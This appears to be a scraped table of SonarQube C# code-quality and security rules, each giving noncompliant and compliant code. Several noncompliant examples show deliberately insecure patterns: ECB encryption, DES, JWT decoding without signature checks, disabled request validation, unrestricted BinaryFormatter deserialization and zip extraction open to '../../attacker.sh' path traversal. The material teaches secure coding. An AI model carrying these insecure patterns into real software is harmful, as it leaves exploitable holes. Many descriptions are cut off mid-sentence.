||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2156 |
The difference between Noncompliant Code Examplepublic sealed class MySealedClass { protected string name = "Fred"; // Noncompliant protected void SetName(string name) // Noncompliant { // ... } } Compliant Solutionpublic sealed class MySealedClass { private string name = "Fred"; public void SetName(string name) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3366 |
In single-threaded environments, the use of The classic example is a class with a This rule raises an issue when Noncompliant Code Examplepublic class Monument { public static readonly List<Monument> ALL_MONUMENTS = new List<Monument>(); // ... public Monument(string location, ...) { ALL_MONUMENTS.Add(this); // Noncompliant; passed to a method of another object this.location = location; // ... } } ExceptionsThis rule ignores instances of assigning See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3244 |
It is possible to subscribe to events with anonymous delegates, but having done so, it is impossible to unsubscribe from them. That's because the
process of subscribing adds the delegate to a list. The process of unsubscribing essentially says: remove this item from the subscription
list. But because an anonymous delegate was used in both cases, the unsubscribe attempt tries to remove a different item from the list than was added.
The result: Instead, save the delegate to a variable and use the variable to subscribe and unsubscribe. Noncompliant Code ExamplelistView.PreviewTextInput += (obj,args) => listView_PreviewTextInput(obj,args,listView); // ... listView.PreviewTextInput -= (obj, args) => listView_PreviewTextInput(obj, args, listView); // Noncompliant; this delegate was never subscribed Compliant SolutionEventHandler func = (obj,args) => listView_PreviewTextInput(obj,args,listView); listView.PreviewTextInput += func; // ... listView.PreviewTextInput -= func; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S5542 |
To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:
Noncompliant Code ExampleAesManaged object with insecure mode: AesManaged aes4 = new AesManaged { KeySize = 128, BlockSize = 128, Mode = CipherMode.ECB, // Noncompliant Padding = PaddingMode.PKCS7 }; RSACryptoServiceProvider object without OAEP padding: RSACryptoServiceProvider RSA1 = new RSACryptoServiceProvider(); encryptedData = RSA1.Encrypt(dataToEncrypt, false); // Noncompliant: OAEP Padding is not used (second parameter set to false) Compliant SolutionAES with GCM mode with bouncycastle library: GcmBlockCipher blockCipher = new GcmBlockCipher(new AesEngine()); // Compliant blockCipher.Init(true, new AeadParameters(new KeyParameter(secretKey), 128, iv, null)); AES with GCM mode with AesGcm object: var aesGcm = new AesGcm(key); // Compliant RSA with OAEP padding with RSACryptoServiceProvider object: RSACryptoServiceProvider RSA2 = new RSACryptoServiceProvider(); encryptedData = RSA2.Encrypt(dataToEncrypt, true); // Compliant: OAEP Padding is used (second parameter set to true)
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1067 |
The complexity of an expression is defined by the number of A single expression's complexity should not become too high to keep the code readable. Noncompliant Code ExampleWith the default threshold value of 3 if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... } Compliant Solutionif ((MyFirstCondition() || MySecondCondition()) && MyLastCondition()) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4211 |
Transparency attributes, This rule raises an issue when a member is marked with a Noncompliant Code Exampleusing System; using System.Security; namespace MyLibrary { [SecurityCritical] public class Foo { [SecuritySafeCritical] // Noncompliant public void Bar() { } } } Compliant Solutionusing System; using System.Security; namespace MyLibrary { [SecurityCritical] public class Foo { public void Bar() { } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3247 |
Because the Noncompliant Code Exampleif (x is Fruit) // Noncompliant { var f = (Fruit)x; // or x as Fruit // ... } Compliant Solutionvar f = x as Fruit; if (f != null) { // code } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S5547 |
Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example. It is recommended to use only cipher algorithms intensively tested and promoted by the cryptographic community. Noncompliant Code Examplevar tripleDES1 = new TripleDESCryptoServiceProvider(); // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack var simpleDES = new DESCryptoServiceProvider(); // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search var RC2 = new RC2CryptoServiceProvider(); // Noncompliant: RC2 is vulnerable to a related-key attack Compliant Solutionvar AES = new AesCryptoServiceProvider(); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3005 |
When a non- So Noncompliant Code Examplepublic class MyClass { [ThreadStatic] // Noncompliant private int count = 0; // ... } Compliant Solutionpublic class MyClass { private int count = 0; // ... } or public class MyClass { private readonly ThreadLocal<int> count = new ThreadLocal<int>(); public int Count { get { return count.Value; } set { count.Value = value; } } // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3246 |
In the interests of making code as usable as possible, interfaces and delegates with generic parameters should use the The The Noncompliant Code Exampleinterface IConsumer<T> // Noncompliant { bool Eat(T fruit); } Compliant Solutioninterface IConsumer<in T> { bool Eat(T fruit); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2278 |
According to the US National Institute of Standards and Technology (NIST), the Data Encryption Standard (DES) is no longer considered secure:
For similar reasons, RC2 should also be avoided. Noncompliant Code Exampleusing (var tripleDES = new TripleDESCryptoServiceProvider()) //Noncompliant { //... } Compliant Solutionusing (var aes = new AesCryptoServiceProvider()) { //... } See
DeprecatedThis rule is deprecated; use S5547 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1862 |
A chain of Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior. Noncompliant Code Exampleif (param == 1) { OpenWindow(); } else if (param == 2) { CloseWindow(); } else if (param == 1) // Noncompliant { MoveWindowToTheBackground(); } Compliant Solutionif (param == 1) { OpenWindow(); } else if (param == 2) { CloseWindow(); } else if (param == 3) { MoveWindowToTheBackground(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2952 |
It is possible in an This rule also applies for disposable ref structs. Noncompliant Code Examplepublic class ResourceHolder : IDisposable { private FileStream fs; public void OpenResource(string path) { this.fs = new FileStream(path, FileMode.Open); } public void CloseResource() { this.fs.Close(); } public void CleanUp() { this.fs.Dispose(); // Noncompliant; Dispose not called in class' Dispose method } public void Dispose() { // method added to satisfy demands of interface } } Compliant Solutionpublic class ResourceHolder : IDisposable { private FileStream fs; public void OpenResource(string path) { this.fs = new FileStream(path, FileMode.Open); } public void CloseResource() { this.fs.Close(); } public void Dispose() { this.fs.Dispose(); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3249 |
Making a Noncompliant Code Examplepublic class Point { private readonly int x; public MyClass(int x) { this.x = x; } public override int GetHashCode() { return x.GetHashCode() ^ base.GetHashCode(); //Noncompliant } } Compliant Solutionpublic class Point { private readonly int x; public MyClass(int x) { this.x = x; } public override int GetHashCode() { return x.GetHashCode(); } } ExceptionsThis rule doesn't report on guard conditions checking for reference equality. public class Point { public override bool Equals(object obj) { if (base.Equals(obj)) // Compliant, although it could be replaced with object.ReferenceEquals(obj, this), which is clearer { return true; } ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4456 |
Because of the way Therefore it is recommended to split the method into two: an outer method handling the validation (no longer lazy) and an inner (lazy) method to handle the iteration. This rule raises an issue when a method throws any exception derived from Noncompliant Code Examplepublic static IEnumerable<TSource> TakeWhile<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate) // Noncompliant { if (source == null) { throw new ArgumentNullException(nameof(source)); } if (predicate == null) { throw new ArgumentNullException(nameof(predicate)); } foreach (var element in source) { if (!predicate(element)) { break; } yield return element; } } Compliant Solutionpublic static IEnumerable<TSource> TakeWhile<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate) { if (source == null) { throw new ArgumentNullException(nameof(source)); } if (predicate == null) { throw new ArgumentNullException(nameof(predicate)); } return TakeWhileIterator<TSource>(source, predicate); } private static IEnumerable<TSource> TakeWhileIterator<TSource>(IEnumerable<TSource> source, Func<TSource, bool> predicate) { foreach (TSource element in source) { if (!predicate(element)) break; yield return element; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4214 |
Methods marked with the This rule raises an issue when a method declared with Noncompliant Code Exampleusing System; using System.Runtime.InteropServices; namespace MyLibrary { public class Foo { [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] public static extern bool RemoveDirectory(string name); // Noncompliant } } Compliant Solutionusing System; using System.Runtime.InteropServices; namespace MyLibrary { public class Foo { [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] private static extern bool RemoveDirectory(string name); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4457 |
Because of the way Therefore it is recommended to split the method into two: an outer method handling the parameter checks (without being This rule raises an issue when an Noncompliant Code Examplepublic static async Task SkipLinesAsync(this TextReader reader, int linesToSkip) // Noncompliant { if (reader == null) { throw new ArgumentNullException(nameof(reader)); } if (linesToSkip < 0) { throw new ArgumentOutOfRangeException(nameof(linesToSkip)); } for (var i = 0; i < linesToSkip; ++i) { var line = await reader.ReadLineAsync().ConfigureAwait(false); if (line == null) { break; } } } Compliant Solutionpublic static Task SkipLinesAsync(this TextReader reader, int linesToSkip) { if (reader == null) { throw new ArgumentNullException(nameof(reader)); } if (linesToSkip < 0) { throw new ArgumentOutOfRangeException(nameof(linesToSkip)); } return reader.SkipLinesInternalAsync(linesToSkip); } private static async Task SkipLinesInternalAsync(this TextReader reader, int linesToSkip) { for (var i = 0; i < linesToSkip; ++i) { var line = await reader.ReadLineAsync().ConfigureAwait(false); if (line == null) { break; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1172 |
Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same. This rule raises an issue when a Noncompliant Code Exampleprivate void DoSomething(int a, int b) // "b" is unused { Compute(a); } private void DoSomething2(int a) // value of "a" is unused { a = 10; Compute(a); } Compliant Solutionprivate void DoSomething(int a) { Compute(a); } private void DoSomething2() { var a = 10; Compute(a); } ExceptionsThis rule doesn't raise any issue in the following contexts:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3908 |
Since .Net Framework version 2.0 it is not necessary to declare a delegate that specifies a class derived from This rule raises an issue when an old style delegate is used as an event handler. Noncompliant Code Examplepublic class MyEventArgs : EventArgs { } public delegate void MyEventHandler(object sender, MyEventArgs e); // Noncompliant public class EventProducer { public event MyEventHandler MyEvent; protected virtual void OnMyEvent(MyEventArgs e) { if (MyEvent != null) { MyEvent(e); } } } public class EventConsumer { public EventConsumer(EventProducer producer) { producer.MyEvent += HandleEvent; } private void HandleEvent(object sender, MyEventArgs e) { // Do something... } } Compliant Solutionpublic class MyEventArgs : EventArgs { } public class EventProducer { public event EventHandler<MyEventArgs> MyEvent; protected virtual void OnMyEvent(MyEventArgs e) { if (MyEvent != null) { MyEvent(e); } } } public class EventConsumer { public EventConsumer(EventProducer producer) { producer.MyEvent += HandleEvent; } private void HandleEvent(object sender, MyEventArgs e) { // Do something... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3909 |
The NET Framework 2.0 introduced the generic interface This rule raises an issue when a public type implements Noncompliant Code Exampleusing System; using System.Collections; public class MyData { public MyData() { } } public class MyList : CollectionBase // Noncompliant { public void Add(MyData data) { InnerList.Add(data); } // ... } Compliant Solutionusing System; using System.Collections.ObjectModel; public class MyData { public MyData() { } } public class MyList : Collection<MyData> { // Implementation... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2701 |
There's no reason to use literal boolean values in assertions. Doing so is at best confusing for maintainers, and at worst a bug. Noncompliant Code Examplebool b = true; NUnit.Framework.Assert.AreEqual(true, b); Xunit.Assert.NotSame(true, b); Microsoft.VisualStudio.TestTools.UnitTesting.Assert.AreEqual(true, b); System.Diagnostics.Debug.Assert(true); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1854 |
A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used. Noncompliant Code Examplei = a + b; // Noncompliant; calculation result not used before value is overwritten i = compute(); Compliant Solutioni = a + b; i += compute(); ExceptionsNo issue is reported when
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S5659 |
If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.
Noncompliant Code Examplejwt-dotnet library: var decodedtoken1 = decoder.Decode(token, secret, verify: false); // Noncompliant: signature should be verified var decodedtoken2 = new JwtBuilder() .WithSecret(secret) .Decode(forgedtoken1); // Noncompliant: signature should be verified Compliant Solutionjwt-dotnet library: var decodedtoken1 = decoder.Decode(forgedtoken1, secret, verify: true); // Compliant var decodedtoken2 = new JwtBuilder() .WithSecret(secret) .MustVerifySignature() .Decode(token); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1858 |
Invoking a method designed to return a string representation of an object which is already a string is a waste of keystrokes. Similarly, explicitly
invoking This rule raises an issue when
Noncompliant Code Examplevar s = "foo"; var t = "fee fie foe " + s.ToString(); // Noncompliant var someObject = new object(); var u = "" + someObject.ToString(); // Noncompliant var v = string.Format("{0}", someObject.ToString()); // Noncompliant Compliant Solutionvar s = "foo"; var t = "fee fie foe " + s; var someObject = new object(); var u = "" + someObject; var v = string.Format("{0}", someObject); ExceptionsThe rule does not report on value types, where leaving off the var v = string.Format("{0}", 1.ToString()); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4564 |
ASP.Net has a feature to validate HTTP requests to prevent potentially dangerous content to perform a cross-site scripting (XSS) attack. There is no reason to disable this mechanism even if other checks to prevent XXS attacks are in place. This rule raises an issue if a method with parameters is marked with Noncompliant Code Examplepublic class FooBarController : Controller { [HttpPost] // Noncompliant [ValidateInput(false)] public ActionResult Purchase(string input) { return Foo(input); } [HttpPost] // Noncompliant public ActionResult PurchaseSomethingElse(string input) { return Foo(input); } } Compliant Solutionpublic class FooBarController : Controller { [HttpPost] [ValidateInput(true)] // Compliant public ActionResult Purchase(string input) { return Foo(input); } } ExceptionsParameterless methods marked with See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4201 |
There's no need to null test in conjunction with an Noncompliant Code Exampleif (x != null && x is MyClass) { ... } // Noncompliant if (x == null || !(x is MyClass)) { ... } // Noncompliant Compliant Solutionif (x is MyClass) { ... } if (!(x is MyClass)) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3353 |
Marking a variable that is unchanged after initialization Noncompliant Code Examplepublic bool Seek(int[] input) { int target = 32; // Noncompliant foreach (int i in input) { if (i == target) { return true; } } return false; } Compliant Solutionpublic bool Seek(int[] input) { const int target = 32; foreach (int i in input) { if (i == target) { return true; } } return false; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2387 |
Having a variable with the same name in two unrelated classes is fine, but do the same thing within a class hierarchy and you'll get confusion at best, chaos at worst. Noncompliant Code Examplepublic class Fruit { protected Season ripe; protected Color flesh; // ... } public class Raspberry : Fruit { private bool ripe; // Noncompliant private static Color FLESH; // Noncompliant } Compliant Solutionpublic class Fruit { protected Season ripe; protected Color flesh; // ... } public class Raspberry : Fruit { private bool ripened; private static Color FLESH_COLOR; } ExceptionsThis rule ignores same-name fields that are public class Fruit { private Season ripe; // ... } public class Raspberry : Fruit { private Season ripe; // Compliant as parent field 'ripe' is anyway not visible from Raspberry // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3234 |
This rule raises an issue when Note: S3971 is a stricter version of this rule. Typically it makes sense to activate only one of these 2 rules. Noncompliant Code Examplesealed class MyClass { public void Method() { ... GC.SuppressFinalize(this); //Noncompliant } } Compliant Solutionsealed class MyClass { public void Method() { ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3597 |
The Noncompliant Code Example[ServiceContract] interface IMyService // Noncompliant { int MyServiceMethod(); } Compliant Solution[ServiceContract] interface IMyService { [OperationContract] int MyServiceMethod(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S5773 |
Failure to control types during deserialization can lead to runtime errors and vulnerabilities. There are many types, called "gadgets" (see ysoserial.net) which are known to be not secure when deserializing. During the deserialization process, the state of an object will be reconstructed from the serialized data stream which can contain dangerous
operations. For example, a well-known attack vector consists in serializing an object of type To restrict the types allowed to be deserialized:
Noncompliant Code ExampleFor BinaryFormatter, NetDataContractSerializer , SoapFormatter serializers: var myBinaryFormatter = new BinaryFormatter(); myBinaryFormatter.Deserialize(stream); // Noncompliant: a binder is not used to limit types during deserialization JavaScriptSerializer should not use SimpleTypeResolver or other weak resolvers: JavaScriptSerializer serializer1 = new JavaScriptSerializer(new SimpleTypeResolver()); // Noncompliant: SimpleTypeResolver is unsecure (every types is resolved) serializer1.Deserialize<ExpectedType>(json); LosFormatter should not be used without MAC verification: LosFormatter formatter = new LosFormatter(); // Noncompliant formatter.Deserialize(fs); Compliant SolutionBinaryFormatter, NetDataContractSerializer , SoapFormatter serializers should use a binder implementing a whitelist approach to limit types during deserialization (at least one exception should be thrown or a null value returned): sealed class CustomBinder : SerializationBinder { public override Type BindToType(string assemblyName, string typeName) { if (!(typeName == "type1" || typeName == "type2" || typeName == "type3")) { throw new SerializationException("Only type1, type2 and type3 are allowed"); // Compliant } return Assembly.Load(assemblyName).GetType(typeName); } } var myBinaryFormatter = new BinaryFormatter(); myBinaryFormatter.Binder = new CustomBinder(); myBinaryFormatter.Deserialize(stream); JavaScriptSerializer should use a resolver implementing a whitelist to limit types during deserialization (at least one exception should be thrown or a null value returned): public class CustomSafeTypeResolver : JavaScriptTypeResolver { public override Type ResolveType(string id) { if(id != "ExpectedType") { throw new ArgumentNullException("Only ExpectedType is allowed during deserialization"); // Compliant } return Type.GetType(id); } } JavaScriptSerializer serializer = new JavaScriptSerializer(new CustomSafeTypeResolver()); // Compliant serializer.Deserialize<ExpectedType>(json); LosFormatter serializer with MAC verification: LosFormatter formatter = new LosFormatter(true, secret); // Compliant formatter.Deserialize(fs); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2386 |
This rule raises issues for Noncompliant Code Examplepublic class A { public static string[] strings1 = {"first","second"}; // Noncompliant public static List<String> strings3 = new List<String>(); // Noncompliant // ... } Compliant Solutionpublic class A { protected static string[] strings1 = {"first","second"}; protected static List<String> strings3 = new List<String>(); // ... } ExceptionsNo issue is reported:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4200 |
Native methods are functions that reside in libraries outside the virtual machine. Being able to call them is useful for interoperability with
applications and libraries written in other programming languages, in particular when performing platform-specific operations. However doing so comes
with extra risks since it means stepping out of the security model of the virtual machine. It is therefore highly recommended to take extra steps,
like input validation, when invoking native methods. This is best done by making the native method This rule raises an issue when a native method is declared Noncompliant Code Exampleusing System; using System.Runtime.InteropServices; namespace MyLibrary { class Foo { [DllImport("mynativelib")] extern public static void Bar(string s, int x); // Noncompliant } } Compliant Solutionusing System; using System.Runtime.InteropServices; namespace MyLibrary { class Foo { [DllImport("mynativelib")] extern private static void Bar(string s, int x); public void BarWrapper(string s, int x) { if (s != null && x >= 0 && x < s.Length) { bar(s, x); } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3236 |
Caller information attributes: Noncompliant Code Examplevoid TraceMessage(string message, [CallerFilePath] string filePath = null, [CallerLineNumber] int lineNumber = 0) { /* ... */ } void MyMethod() { TraceMessage("my message", "A.B.C.Foo.cs", 42); // Noncompliant } Compliant Solutionvoid TraceMessage(string message, [CallerFilePath] string filePath = "", [CallerLineNumber] int lineNumber = 0) { /* ... */ } void MyMethod() { TraceMessage("my message"); } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3235 |
Redundant parentheses are simply wasted keystrokes, and should be removed. Noncompliant Code Example[MyAttribute()] //Noncompliant class MyClass { public int MyProperty { get; set; } public static MyClass CreateNew(int propertyValue) { return new MyClass() //Noncompliant { MyProperty = propertyValue }; } } Compliant Solution[MyAttribute] class MyClass { public int MyProperty { get; set; } public static MyClass CreateNew(int propertyValue) { return new MyClass { MyProperty = propertyValue }; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3598 |
When declaring a Windows Communication Foundation (WCF) Noncompliant Code Example[ServiceContract] interface IMyService { [OperationContract(IsOneWay = true)] int SomethingHappened(int parameter); // Noncompliant } Compliant Solution[ServiceContract] interface IMyService { [OperationContract(IsOneWay = true)] void SomethingHappened(int parameter); } ExceptionsThe rule doesn't report if |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3358 |
Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing. Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement. Noncompliant Code Examplepublic string GetReadableStatus(Job j) { return j.IsRunning ? "Running" : j.HasErrors ? "Failed" : "Succeeded"; // Noncompliant } Compliant Solutionpublic string GetReadableStatus(Job j) { if (j.IsRunning) { return "Running"; } return j.HasErrors ? "Failed" : "Succeeded"; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2148 |
Beginning with C# 7, it is possible to add underscores ('_') to numeric literals to enhance readability. The addition of underscores in this manner has no semantic meaning, but makes it easier for maintainers to understand the code. The number of digits to the left of a decimal point needed to trigger this rule varies by base.
It is only the presence of underscores, not their spacing that is scrutinized by this rule. Note that this rule is automatically disabled when the project's Noncompliant Code Exampleint i = 10000000; // Noncompliant; is this 10 million or 100 million? int j = 0b01101001010011011110010101011110; // Noncompliant long l = 0x7fffffffffffffffL; // Noncompliant Compliant Solutionint i = 10_000_000; int j = 0b01101001_01001101_11100101_01011110; long l = 0x7fff_ffff_ffff_ffffL; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3237 |
In property and indexer Noncompliant Code Exampleprivate int count; public int Count { get { return count; } set { count = 42; } // Noncompliant } Compliant Solutionprivate int count; public int Count { get { return count; } set { count = value; } } or public int Count { get { return count; } set { throw new InvalidOperationException(); } } ExceptionsThis rule doesn't raise an issue when the setter is empty and part of the implementation of an |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4070 |
This rule raises an issue when an externally visible enumeration is marked with Noncompliant Code Exampleusing System; namespace MyLibrary { [FlagsAttribute] public enum Color // Noncompliant, Orange is neither a power of two, nor a combination of any of the defined values { None = 0, Red = 1, Orange = 3, Yellow = 4 } } Compliant Solutionusing System; namespace MyLibrary { public enum Color // Compliant - no FlagsAttribute attribute { None = 0, Red = 1, Orange = 3, Yellow = 4 } [FlagsAttribute] public enum Days { None = 0, Monday = 1, Tuesday = 2, Wednesday = 4, Thursday = 8, Friday = 16, All = Monday| Tuesday | Wednesday | Thursday | Friday // Compliant - combination of other values } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S5042 |
Expanding archive files is security-sensitive. For example, expanding archive files has led in the past to the following vulnerabilities: Applications that expand archive files (zip, tar, jar, war, 7z, ...) should verify the path where the archive's files are expanded and not trust blindly the content of the archive. Archive's files should not be expanded outside of the root directory where the archive is supposed to be expanded. Also, applications should control the size of the expanded data to not be a victim of Zip Bomb attack. Failure to do so could allow an attacker to use a specially crafted archive that holds directory traversal paths (e.g. ../../attacker.sh) or the attacker could overload the file system, processors or memory of the operating system where the archive is expanded making the target OS completely unusable. This rule raises an issue when code handle archives. The goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions.
Recommended Secure Coding PracticesValidate the full path of the extracted file against the full path of the directory where files are expanded:
Stop extracting the archive if any of its entries has been tainted with a directory traversal path. Define and control the ratio between compressed and uncompress bytes. Define and control the maximum allowed expanded file size. Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold. Sensitive Code Exampleforeach (ZipArchiveEntry entry in archive.Entries) { // entry.FullName could contain parent directory references ".." and the destinationPath variable could become outside of the desired path string destinationPath = Path.GetFullPath(Path.Combine(path, entry.FullName)); entry.ExtractToFile(destinationPath); // Sensitive, extracts the entry in a file Stream stream; stream = entry.Open(); // Sensitive, the entry is about to be extracted } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1481 |
If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for. Noncompliant Code Examplepublic int NumberOfMinutes(int hours) { int seconds = 0; // seconds is never used return hours * 60; } Compliant Solutionpublic int NumberOfMinutes(int hours) { return hours * 60; } ExceptionsUnused locally created resources in a using(var t = new TestTimer()) // t never used, but compliant. { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3427 |
The rules for method resolution are complex and perhaps not properly understood by all coders. Having overloads with optional parameter values makes the matter even harder to understand. This rule raises an issue when an overload with default parameter values is hidden by one without the optional parameters. Noncompliant Code Examplepublic class MyClass { void Print(string[] messages) {...} void Print(string[] messages, string delimiter = "\n") {...} // Noncompliant; default parameter value is hidden by overload } // ... MyClass myClass = new MyClass(); myClass.Print(new string[3] {"yes", "no", "maybe"}); // which version of Print will be called? |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1006 |
